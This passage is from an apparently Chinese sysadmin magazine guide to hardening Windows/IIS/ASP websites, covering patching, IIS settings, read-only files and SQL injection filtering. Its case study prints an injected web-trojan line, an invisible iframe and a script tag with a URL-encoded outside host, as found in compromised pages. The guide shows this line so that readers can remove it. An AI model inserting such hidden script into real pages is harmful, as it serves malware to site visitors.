网管员世界 之 网站安全.docVIP

第1章 安全管理 网站安全从小处着手 以Windows 2000（2003） ＋ IIS ＋ ASP 平台建设的Web 服务器是常用的一种建站方式。Windows 2000（2003）操作系统的一个主要特色就是将 IIS 融入其内核之中，并提供一些用来配置和维护软件的向导工具，使构建一个Internet 网站轻而易举。但微软操作系统的漏洞却是不容忽视的，它给网站安全埋下了一颗无形的定时炸弹。不过，如果能够在建站之初就对网站安全的细微之处加以注意和 防范，就能使网站安全事半功倍。 本文结合笔者亲历实践，详细分析了使用这种模式建站所面临的各个层次的安全问题，并给出了相应的解决方法，特别是一些细节性的问题。 【责任编辑：云霞 TEL：（010 系统安全 微软的操作系统以功能强大著称，但其漏洞也层出不穷。因此，如果采用 Windows 平台作为Web 服务器，在安装和配置时就要注意以下几点： （1）系统安装完毕，应该及时给系统打上各种补丁。可以在服务器上安装360 安全卫士，通过该软件自动扫描系统漏洞，并下载安装相应的补丁。 （2）不要安装多余的服务和协议。因为有的服务本身就存在漏洞，多余的协议也会占用系统资源，所以不妨把无用的服务和协议停止或关闭（例如FTP、STMP 等）。 （3）安装专业的防病毒软件和防火墙软件。 网站配置安全 优化可靠的IIS 配置是网站安全成功的基础，不妨从以下几方面做好安全配置： （1）尽量不要把网站安装在默认的C:\Inetpub\wwwroot\目录下。 主要原因有两个：一是 C 盘是系统盘，很多因素都可能破坏系统，导致数据丢失等意外情况发生；二是如果选择默认安装，黑客很容易就能猜出安装的位置，并对网站实施攻击。可以安装在 除系统盘外的其他分区，并删除默认建立的站点的虚拟目录，停止默认 Web 站点，即删除对应的文件目录 C:\Inetpub，配置所有站点的公共设置，设置好相关的连接数限制。 （2）在配置网站安全策略时，在IIS 站点配置时如果没有特殊要求，不要勾选―脚本资源访问‖、―写入‖、―目录浏览‖这3 个选项。 不选―脚本资源访问‖，能有效阻止客户端运行一些服务器端的程序；不选―写入‖，可防止客户上传一些可执行文件；不选―目录浏览‖，就能使客户端猜不出网站的路径结构。 同时，还要删除所有不必要的应用程序扩展，只保留如asp、aspx 等有用的应用程序扩展。 （3）对上传文件进行严格的控制，一般不允许可执行文件如 exe、bat 等文件的上传。 程序代码安全 很多网站已经部署了足够的安全设备，但还是经常遭遇黑客攻击或病毒入侵，这就要考虑一下问题是否出在程序代码不安全或属性设置不当之上。 例如下面的案例。 案例：整个网站看起来很正常，但在打开首页或其他某一页面时出现空白，或弹出其他页面。如果不安装个人防火墙，不知道问题出在哪里；如果安装了个人防火墙，则会弹出诸如―拦截到一个木马或恶意广告页面URL:‖的提示信息。 这时，如果您打开网站首页文件或数据库连接文件 index.asp 或者default.asp、conn.asp 等，就会发现文件最后一行写入了一句挂马代码，如iframe src=/xxxxx.htm width=100 height=0/iframe 或 scriptsrc=http:////%77%2E%74% 6F%79%6F%6E%79%2E%63%6F%6D%2E%63%6E/script，将该行代码删除，浏览网页即可恢复正 常。 因此，网站配置好后，在应用程序开发与管理中要做好程序代码的安全工作。 1. 将网站的程序文件改为“只读”属性 一般写入挂马代码的多是 index.asp、default.asp、conn.asp、top.asp 等文件，从安全角度考虑，建议将网站中的文件除必要数据库文件和JS 刷新文件外，均设置为―只读‖，防止黑客在程序中写入语句。 2. 防止SQL 注入 许多网站程序在编写时，没有对用户输入数据的合法性进行判断，使应用程序存在安全隐患。用户可以提交一段数据库查询代码（在浏览器地址栏中，通过正常的 WWW 端口访问），根据程序返回的结果获得某些想要知道的数据，这就是所谓的SQL 注入。 对于这种情况， 如果程序是自行开发的， 一般的HTTP 请求不外乎GET 和POST，所以只要在文件中过滤所有POST 或者 GET 请求中的参数信息中的非法字符即可。如果是采用动易等免费代码的，一般都有防SQL 注入功能，只要将该保护功能开启即可。 3. 关闭不必要的“注册”和“忘记密码”等功能 很多网站采用的都是网上免费的源码，如动易、风讯等，但这些程序中也会有一些漏洞，如动易中的―